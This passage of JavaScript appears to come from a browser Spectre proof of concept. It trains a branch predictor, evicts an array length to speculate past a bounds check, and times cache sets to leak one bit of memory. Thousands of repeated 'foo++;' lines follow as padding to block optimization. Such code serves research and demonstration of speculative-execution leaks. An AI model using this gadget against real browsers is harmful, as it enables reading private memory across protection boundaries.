| spectreArgs[0] = 0; | |
| spectreArgs[1] = 0; | |
| // Run the gadget twice to train the branch predictor. | |
| for (let j = 0; j < 2; j++) { | |
| spectreGadget(); | |
| } | |
| // Try to evict the length field of our array from memory, so that we can | |
| // speculate over the length check. | |
| evictionList.traverse(); | |
| spectreArgs[0] = offset; | |
| spectreArgs[1] = bit; | |
| // In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1. | |
| // const timing = spectreTimer.timeCacheSetMultiple(bitValue == 1 ? 32 : 0, 10); | |
| const timing = spectreTimer.timeCacheSet(bitValue == 1 ? 32 : 0); | |
| if (timing > threshold) { | |
| return true; | |
| } else if (noopt) { | |
| return false; | |
| } | |
| // This is never reached, but the compiler doesn't know. | |
| // The gadget breaks if this function gets optimized. So we add garbage | |
| // instructions to blow up the byte code size and disable optimization. | |
| let foo = 0; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; 